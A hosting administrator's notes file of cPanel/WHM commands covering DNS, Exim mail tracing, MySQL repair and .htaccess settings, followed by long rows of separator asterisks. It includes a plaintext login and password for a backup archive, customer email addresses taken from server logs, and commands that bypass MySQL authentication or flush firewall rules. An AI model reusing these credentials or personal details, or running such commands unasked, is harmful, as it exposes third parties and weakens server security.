docentes-unsubscribe@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman unsubscribe docentes_bitec.edu.pe"
docentes@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman post docentes_bitec.edu.pe"
owner-coordinadores@bitec.edu.pe: coordinadores-admin@bitec.edu.pe
owner-docentes@bitec.edu.pe: docentes-admin@bitec.edu.pe
*: wwwbitec
*********************************************************************************************************************
Edit Dns
http://power.superdnssite.com:2086/cgi/zoneeditor.cgi?domain=001.abufa.net&domainselect=001.abufa.net
To deleted dns zone
http://power.superdnssite.com:2086/scripts/killdns?killdns=imagineray.com
To recreate a dns zone
http://power.superdnssite.com:2086/scripts/adddns?ip=67.23.243.231&zone=imagineray.com
Edit Dns >> Click on back
http://power.superdnssite.com:2086/cgi/zoneeditor.cgi
*********************************************************************************************************************
rebuild dns zones
http://www.adamsinfo.com/cpanel-rebuild-all-dns-zones/
‘/scripts/rebuildnsdzones’ or ‘/scripts/rebuildnamedconf’
*********************************************************************************************************************
New Multivariate Experiment
Step 2: Install and validate JavaScript tags
https://adwords.google.com/analytics/siteopt/install?experiment=EAAAAHsYNmjwNCONv0IiD-PMisY&account=15257792&user=AN_xLxcJHYI4dTLGlZtJbW5sJr6g58O4sQ&hl=en_us&portal=1&t=-rJQdHxonBQ
*********************************************************************************************************************
Error while resetting cPanel password
Or
Module Command Error
Sorry, the user observad is currently suspended. Changing the user's password would unsuspend the account.
Or
root@power [/tmp]# /scripts/unsuspendacct observad
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
The user 'observad' is not suspended (password is not locked).
If this account is partially suspended, suspend the account
to make the account fully suspended before unsuspending.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Solu: http://forum.ahosting.net/error-while-resetting-cpanel-password-653.html
==> check the user in suspended list from WHM.
==> If not in the list. check if there a file exist /var/cpanel/suspended/username
==> If there exist a file, move the file to /var/cpanel/suspended/username to /var/cpanel/suspended/username.bkp
*********************************************************************************************************************
Update all clients DNS Zone records at once
http://forums.cpanel.net/f5/update-all-clients-dns-zone-records-once-151109.html
If you would like to change the A record in all the DNS zone files, execute the following:
#cd /var
#cp -R named named.backup110527
replace "OLDIP" "NEWIP" -- /var/named/*.db
to change the name servers in the zone files, execute
replace "oldns" "newns" -- /var/named/*.db
Once done, restart the named service:
service named restart
OR
WHM >> Multi Account Functions >> Change multiple sites' IP address
*********************************************************************************************************************
touch \./-testfile
rm -- -testfile -v
rm \./-testfile
*********************************************************************************************************************
increase horde fetch mail limit
http://forums.cpanel.net/f43/how-increase-horde-fetch-mail-limit-107645.html
/usr/local/cpanel/base/horde/imp/config/
conf.php
config.xml
$conf['fetchmail']['size_limit'] = 4000000;
Increase memory_limit as well
/usr/local/cpanel/3rdparty/etc/horde/php.ini
http://forums.cpanel.net/f43/problems-loading-horde-via-webmail-imap-73798.html
help:
http://support.hostgator.com/articles/specialized-help/email/how-can-i-setup-fetch-mail-accounts-in-horde
*********************************************************************************************************************
HowTo: Linux Random Password Generator Command
http://www.cyberciti.biz/faq/linux-random-password-generator/
??
cat /dev/urandom|tr -dc "a-zA-Z0-9-_\$\?"|fold -w 9|head
*********************************************************************************************************************
root@prince [/tmp]# /scripts/killdns moitrybd.com
moitrybd.com => deleted from prince.
/scripts/mailperm --verbose digitalk
*********************************************************************************************************************
Can't Browse Files with Special Characters
http://confluence.atlassian.com/display/CRUCKB/Can't+Browse+Files+with+Special+Characters
Base64 Decode Online Encode
http://www.theecommercesolution.com/decrypt.php
http://base64-encoder-online.waraxe.us/
http://www.rbl.jp/base64.php
*********************************************************************************************************************
RvsiteBuilder Issue
memory_limit =128M
display_errors =Off
disable_functions =
safe_mode = Off
include_path =".:/usr/lib/php:/usr/local/lib/php"
*********************************************************************************************************************
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
root@theta [/tmp]# ps auxf | grep 2822
root 22477 0.0 0.0 61232 792 pts/1 S+ 09:09 0:00 | \_ grep 2822
root 28221 0.0 0.0 2116 1220 ? S Feb08 0:08 \_ /usr/local/cpanel/bin/splitlogs --main=theta.dnsnetservice.com --suffix=-bytes_log
root 28222 0.0 0.0 2096 1200 ? S Feb08 0:05 \_ /usr/local/cpanel/bin/splitlogs --main=theta.dnsnetservice.com --mainout=/usr/local/apache/logs/access_log
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule ^Bolet\xEDn\.(.*)$ Bolet\%C3\%ADn.$1 [R=301,NC,NE,QSA,L]
#rvs append
#http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html#rewriterule
#R - redirect with response code
#NE - (no URI escaping of output) will not convert \% to %25 but will show as %
#QSA - query string append, for photo album, guestbook
#L - last, stop and not processs other rules
</IfModule>
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
Login to magento
http://breathearomas.com/index.php/admin
*********************************************************************************************************************
Rebbot
shutdown -rf now
*********************************************************************************************************************
Your license could not be activated because:
/usr/local/cpanel/cpkeyclt
Unactivated License File
First, go to http://verify.cpanel.net/ and enter the public IP address of this server to make sure it is licensed.
If licensed, try running /usr/local/cpanel/cpkeyclt from the command line as root.
You'll also need to make sure that port 80 is open to contact our license server and that your server's hostname is a FQDN.
*********************************************************************************************************************
.htaccess
SetEnv TZ UTC
Time zone PHP Code:
<?php
echo "la hora: ";
//forma 1
//-------------------
date_default_timezone_set('America/Lima');
$Fecha = date("Y-m-d H:i:s");
//forma 2
//-------------------
$Fecha= gmdate("Y-m-d H:i:s", time()-(3600*5));
echo $Fecha;
?>
~
*********************************************************************************************************************
Drop Sync/DDOS Attack
http://linuxstuffs.wordpress.com/category/server-security/
*********************************************************************************************************************
To check php configuration:
/usr/local/cpanel/bin/rebuild_phpconf --current
root@duke [/home/renklite/public_html]# /usr/local/cpanel/bin/rebuild_phpconf --current
Available handlers: suphp dso cgi none
DEFAULT PHP: 5
PHP4 SAPI: none
PHP5 SAPI: suphp
SUEXEC: enabled
*********************************************************************************************************************
Following command will repair your all databases on server.
myisamchk -r /var/lib/mysql/*/*.MYI
/etc/rc.d/init.d/mysql restart
Following command will show if you need to repair your database or not
myisamchk –check /var/lib/mysql/*/*.MYI
Then try ‘safe-recover’ first:
myisamchk –safe-recover /var/lib/mysql/*/*.MYI
OR
myisamchk –recover /var/lib/mysql/*/*.MYI
Forceful
myisamchk –safe-recover –extend-check –force /var/lib/mysql/*/*.MYI
OR
myisamchk –recover –extend-check –force /var/lib/mysql/*/*.MYI
*********************************************************************************************************************
How to disable stats for particular account
http://www.linuxgo.net/page/3/
If you want to disable awstats for single account so add the following code in users cPanel configuration file.
vi /var/cpanel/users/cpanelusername (replace username with username)
skipawstats=1
save file and exit.
If you want to disable webalizer for single account so add the following code in users cPanel configuration file.
skipwebalizer=1
If you want to disable Analog stats for single account so add the following code in users cPanel configuration file.
skipanalog=1
/etc/init.d/cpanel restart
*********************************************************************************************************************
Disable to script execution from specific directory
Create .htaccess file in the directory from where you do not wish to run any script and add the following code in .htaccess (specially when there is phishing attack on any specific folder like “images”)
AddHandler cgi-script .php .pl .jsp .asp .sh .cgi
Options -ExecCGI
How to disable directory listing using .htaccess
Options -Indexes
*********************************************************************************************************************
MySQL DB size shows 0 Mb in cPanel
http://forums.cpanel.net/f354/mysql-db-size-shows-0-mb-cpanel-160738.html
http://www.thecpaneladmin.com/user-databases-missing-from-cpanel/
*********************************************************************************************************************
MySQL data files .MYD, .MYI, and .frm
http://blog.rootsmith.ca/linux/mysql-data-files-myd-myi-and-frm/
MysqlServer System Variables
http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html
*********************************************************************************************************************
Change lowercase letters to uppercase
To move a text file into upper case letters, you can use Awk in the following way:
#awk ‘{ print toupper($0) }’ old_file > new_file
*********************************************************************************************************************
Error code: ssl_error_rx_record_too_long
https://support.servertastic.com/entries/323560-error-code-ssl-error-rx-record-too-long
http://stackoverflow.com/questions/119336/ssl-error-rx-record-too-long-and-apache-ssl
*********************************************************************************************************************
autoresponder
root@prince [/home/akdeniza/mail]# cat /etc/valiases/akdenizalarm.com
info@akdenizalarm.com: |/usr/local/cpanel/bin/autorespond info@akdenizalarm.com /home/akdeniza/.autorespond
ihsankarabiber@akdenizalarm.com: |/usr/local/cpanel/bin/autorespond ihsankarabiber@akdenizalarm.com /home/akdeniza/.autorespond
*: ":fail: No such person at this address"
root@prince [/home/akdeniza]# cat .autoresponder.ihsankarabiber\@akdenizalarm.com.data
=?iso-8859-9?q?=ddhsan_karabiber?= ihsankarabiber@gmail.com=1298588284
fake@demyazilim.com=1298486499
root@prince [/home/akdeniza]# cat .autoresponder.info\@akdenizalarm.com.data
akmakina@makina-al.com=1310427842
anketlistesi@rocketmail.com=1310439964
duyuru@teknim.com=1310487815
haber@haberturk.com=1310493755
info@asm-security.hu=1310460532
sales2@bilgidenhaberler.com=1310594546
tartem@windowslive.com=1310404045
*********************************************************************************************************************
Testing
vsudamericacusco.com
1) mail folder is diabled
2) Mail send from Ip 124.124.124.118 using contact page http://vsudamericacusco.com/contact.html
Details in contact form:
name: test
testmail12224x7@yahoo.com
=========Check 1====================
root@peak [/home/vsudamer/mail]# tail -f /var/log/exim_mainlog | grep vsudamer
2012-03-10 09:37:28 1S6OMK-00026l-4V <= vsudamer@peak.dnsnetservice.com U=vsudamer P=local S=975
2012-03-10 09:37:29 1S6OMK-00026l-4V == info@vsudamericacusco.com R=virtual_user T=virtual_userdelivery defer (13): Permission denied: stat() error for /home/vsudamer/mail/vsudamericacusco.com/info: Permission denied
==>Even though mail folder is disabled mail will go through mail queue.
=========Check 2====================
root@peak [/home/vsudamer/mail]# exim -bp
1m 974 1S6OUd-0007eC-2U <vsudamer@peak.dnsnetservice.com>
info@vsudamericacusco.com
=========Check 3====================
root@peak [/home/vsudamer/mail]# exim -Mvh 1S6OUd-0007eC-2U
1S6OUd-0007eC-2U-H
vsudamer 999 994
<vsudamer@peak.dnsnetservice.com>
1331394363 0
-ident vsudamer
-received_protocol local
-body_linecount 51
-max_received_linelength 82
-auth_id vsudamer
-auth_sender vsudamer@peak.dnsnetservice.com
-allow_unqualified_recipient
-allow_unqualified_sender
-local
XX
1
info@vsudamericacusco.com
209P Received: from vsudamer by peak.dnsnetservice.com with local (Exim 4.69)
(envelope-from <vsudamer@peak.dnsnetservice.com>)
id 1S6OUd-0007eC-2U
for info@vsudamericacusco.com; Sat, 10 Mar 2012 09:46:03 -0600
041T To: Informes <info@vsudamericacusco.com>
046 Subject: Contacto de Web vsudamericacusco.com
071 X-PHP-Script: vsudamericacusco.com/contact_mnt.php for 124.124.124.117
018 MIME-Version: 1.0
044 Content-type: text/html; charset=iso-8859-1
038F From: test<testmail12224x7@yahoo.com>
055I Message-Id: <E1S6OUd-0007eC-2U@peak.dnsnetservice.com>
038 Date: Sat, 10 Mar 2012 09:46:03 -0600
root@peak [/home/vsudamer/mail]#
=========Check 4====================
root@peak [/home/vsudamer/mail]# cd /var/spool/exim/input/
root@peak [/var/spool/exim/input]# egrep "X-PHP-Sc" * -R
d/1S6OUd-0007eC-2U-H:071 X-PHP-Script: vsudamericacusco.com/contact_mnt.php for 124.124.124.117
=========Check 5====================
root@peak [/var/spool/exim/input]# ps -C exim -fH eww | egrep --color "home|SCRIPT_FILENAME=|REMOTE_ADDR="
mailnull 12592 12584 0 10:41 ? D 0:00 /usr/sbin/sendmail -t -i SERVER_SIGNATURE= UNIQUE_ID=T1uEIriaNqIAABe5u7UAAAAM HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.78 Safari/535.11 SERVER_PORT=80 HTTP_ORIGIN=http://vsudamericacusco.com HTTP_HOST=vsudamericacusco.com HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.3 DOCUMENT_ROOT=/home/vsudamer/public_html SCRIPT_FILENAME=/home/vsudamer/public_html/contact_mnt.php REQUEST_URI=/contact_mnt.php SCRIPT_NAME=/contact_mnt.php HTTP_CONNECTION=keep-alive REMOTE_PORT=55273 PATH=/bin:/usr/bin PWD=/home/vsudamer/public_html SERVER_ADMIN=webmaster@vsudamericacusco.com REDIRECT_STATUS=200 HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8 HTTP_REFERER=http://vsudamericacusco.com/contact.html HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 REMOTE_ADDR=124.124.124.117 SHLVL=1 SERVER_NAME=vsudamericacusco.com CONTENT_LENGTH=93 SERVER_SOFTWARE=Apache QUERY_STRING= SERVER_ADDR=184.154.54.162 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.1 HTTP_CACHE_CONTROL=max-age=0 HTTP_ACCEPT_ENCODING=gzip,deflate,sdch CONTENT_TYPE=application/x-www-form-urlencoded REQUEST_METHOD=POST _=/usr/sbin/sendmail
*********************************************************************************************************************
php_flag register_globals
*********************************************************************************************************************
generic fix for errors in the DNS zone file; via root SSH access
# named-checkzone
# man named-checkzone
An example with debug/verbose detail enabled is as follows:
Code:
# named-checkzone -d domain.tld /var/named/domain.tld.db
*********************************************************************************************************************
service xfs stop
chkconfig xfs off
chkconfig --list xfs
*********************************************************************************************************************
Change WordPress Site URL from Shell
http://www.linuxspy.info/page/8/
*********************************************************************************************************************
Blocking Traffic from Certain Countries
http://www.asiteaboutnothing.net/c_block-countries.html
http://www.sitepoint.com/forums/showthread.php?652613-How-to-block-specific-countries-from-certain-pages-of-my-website
(mod_geoip)
http://www.countryipblocks.net/country-blocks/select-formats/
*********************************************************************************************************************
Command Line PureFTP Configuration on cPanel
http://www.thecpaneladmin.com/configuring-pureftp/
The pureFTP template is located in /var/cpanel/conf/pureftpd/main
The settings in the template correlate directly to the same options in /etc/pure-ftpd.conf,
/usr/local/cpanel/whostmgr/bin/whostmgr2 doftpconfiguration
cPanel - ProFTPd Timeout and Disconnection Issues
http://blog.serverbuddies.com/cpanel-proftpd-timeout-and-disconnection-issues/
vi /etc/proftpd.conf
Add the following Timeout settings below the comments (#’s):
TimeoutLogin 120
TimeoutIdle 3600
TimeoutNoTransfer 3600
TimeoutStalled 3600
Save and quit editting proftpd.conf and restart the service.
service proftpd restart
*********************************************************************************************************************
HOW TO STOP PHP NOBODY SPAMMERS
http://servert.wordpress.com/2012/02/01/how-to-stop-php-nobody-spammers/
/usr/local/cpanel/scripts/maintenance
When dovecot get stoped
Warning: fsockopen() [function.fsockopen]: unable to connect to localhost:143 (Connection refused) in /usr/local/cpanel/base/3rdparty/squirrelmail/plugins/login_auth/functions.php on line 129
*********************************************************************************************************************
IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*
*********************************************************************************************************************
Using rpm.versions.local to manage RPMs
http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/RpmVersionsLocal
cPanel-managed RPMs will be maintained based on the contents of /usr/local/cpanel/etc/rpm.versions
RPM downaloads for cpanel
http://httpupdate.cpanel.net/RPM01/centos/
*********************************************************************************************************************
Converting windows text file format to unix
http://kb.deru.net/?View=entry&EntryID=2
*********************************************************************************************************************
Options +FollowSymlinks
# Prevent Directoy listing
Options -Indexes
# Prevent Direct Access to files
<FilesMatch "\.(tpl|ini)">
Order deny,allow
Deny from all
</FilesMatch>
Howto: Disable MailMan
To disable Mailman on a cPanel server, remove the execute permissions of the mailman wrapper
chmod -x /usr/local/cpanel/3rdparty/mailman/mail/wrapper
If you ever want to enable it:
chmod +x /usr/local/cpanel/3rdparty/mailman/mail/wrapper
*********************************************************************************************************************
*********************************************************************************************************************
==Add a new dns:
/scripts/adddns --domain ns1.jetdizayn.net --ip 67.23.238.163
Kill a dns
/scripts/killdns domainame.com
== Add a new email account
/scripts/addpop username@domaina.com
Delete email account
/scripts/delpop username@domaina.com
== Add DomainKeys for single user
/usr/local/cpanel/bin/domain_keys_installer sohailri
where sohailri is a username
== Add SPF for single account
/usr/local/cpanel/bin/spf_installer sohailri
*********************************************************************************************************************
How to access url that requires http authenticate
1)
wget http://admin:123456@192.168.1.178/videostream.cgi
or
wget --http-user admin --http-password 123456 http://192.168.1.178/videostream.cgi
e.g
wget http://mrh:"wTS&q6[ub**3B[f_sb"@dual-hosts.co.uk/mrh/backup-5.21.2012_19-43-12_technodu.tar.gz
wget --http-user mrh --http-password "wTS&q6[ub**3B[f_sb" http://dual-hosts.co.uk/mrh/backup-5.21.2012_19-43-12_technodu.tar.gz
http://www.thegeekstuff.com/2009/09/the-ultimate-wget-download-guide-with-15-awesome-examples/#more-1885
2)
curl -O -u USERNAME:PASSWORD url
curl -O -u mrh:"wTS&q6[ub**3B[f_sb" http://dual-hosts.co.uk/mrh/backup-5.21.2012_19-43-12_technodu.tar.gz
http://www.thegeekstuff.com/2012/04/curl-examples/
http://www.cyberciti.biz/tips/linux-wget-your-ultimate-command-line-downloader.html
*********************************************************************************************************************
Eximstats db growing huge
http://nazeems.wordpress.com/2012/05/29/eximstats-db-growing-huge/
Login to mysql
#mysql
mysql> use eximstats
mysql> delete from sends;
mysql> delete from smtp;
mysql> delete from failures;
mysql> delete from defers;
*********************************************************************************************************************
--Logs for Specific Webmail Applications
SquirrelMail /var/cpanel/squirrelmail
RoundCube /var/cpanel/roundcube/log
Horde /var/cpanel/horde/log
*********************************************************************************************************************
Rebuild php.ini in Cpanel Server
First rename php.ini, so you can copy it back or compare if anything go wrong
mv /usr/local/lib/php.ini /usr/local/lib/php.ini.bak.$(date +%m%d%Y%H)
Now run
/scripts/phpini
This will generate new php.ini file.
*********************************************************************************************************************
Synchronize FTP Passwords
/usr/local/cpanel/scripts/ftpupdate
/scripts/ftpupdate
Updating ftp passwords for all users
*********************************************************************************************************************
Block Port for specific IP
iptables -A OUTPUT -p tcp -d 67.23.243.231 --dport 21 -j DROP
*********************************************************************************************************************
Update scripts in Fantastico De Luxe WHM Admin
WHM >> Plugins >> Fantastico De Luxe WHM Admin >> Update/Get files >> Get latest master files
*********************************************************************************************************************
To drop the Cache value
# free -m
cache value is high, to drop it use the command
#sync; echo 3 > /proc/sys/vm/drop_caches
*********************************************************************************************************************
Change mysql root Password
root#mysqld_safe –skip-grant-tables&
When using the above command , no password will be asked to go to mysql prompt
root#mysql
mysql>use mysql
mysql>update user set password=PASSWORD(‘abcd’) where User=’root’
mysql>flush privileges
mysql>quit
Now restart the mysqld service..
**************************************************************************************************************
How can i backup a table structure but NOT his data in MySQL
mysqldump --no-data eximstats > eximstats_bak.sql
*******
Email account disk usages not showing in cpanel
#/scripts/generate_maildirsize –force –all accounts
#/scripts/upcp –force
*********************************************************************************************************************
cat /etc/email_send_limits
carpinteriairoko.lakalle.org: 300,unlimited,5
*********************************************************************************************************************
csf -x
iptables -F
/etc/init.d/iptables save
csf -e
*********************************************************************************************************************
Check character set or Dtabase collation
mysql> use wellbeha_blog;
Database changed
mysql> show variables like 'c%';
+--------------------------+----------------------------+
| Variable_name | Value |
+--------------------------+----------------------------+
| character_set_client | latin1 |
| character_set_connection | latin1 |
| character_set_database | utf8 |
| character_set_filesystem | binary |
| character_set_results | latin1 |
| character_set_server | latin1 |
| character_set_system | utf8 |
| character_sets_dir | /usr/share/mysql/charsets/ |
| collation_connection | latin1_swedish_ci |
| collation_database | utf8_general_ci |
| collation_server | latin1_swedish_ci |
| completion_type | 0 |
| concurrent_insert | 1 |
| connect_timeout | 10 |
+--------------------------+----------------------------+
14 rows in set (0.00 sec)
*********************************************************************************************************************
How to read a Linux Operating System core file
http://www.symantec.com/business/support/index?page=content&id=TECH53189
http://www.cyberciti.biz/tips/linux-core-dumps.html
http://www.cyberciti.biz/tips/linux-strace-command-examples.html
*********************************************************************************************************************
root@veebo [/tmp]# exim -bP | grep message_size_limit
message_size_limit = 50M
vi /etc/exim.conf
message_size_limit = 10M
/etc/init.d/exim restart
*********************************************************************************************************************
Remove cPanel update archives
/usr/local/apache.backup*
/home/cpeasyapache (actual name may vary depending on cpanel version)
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
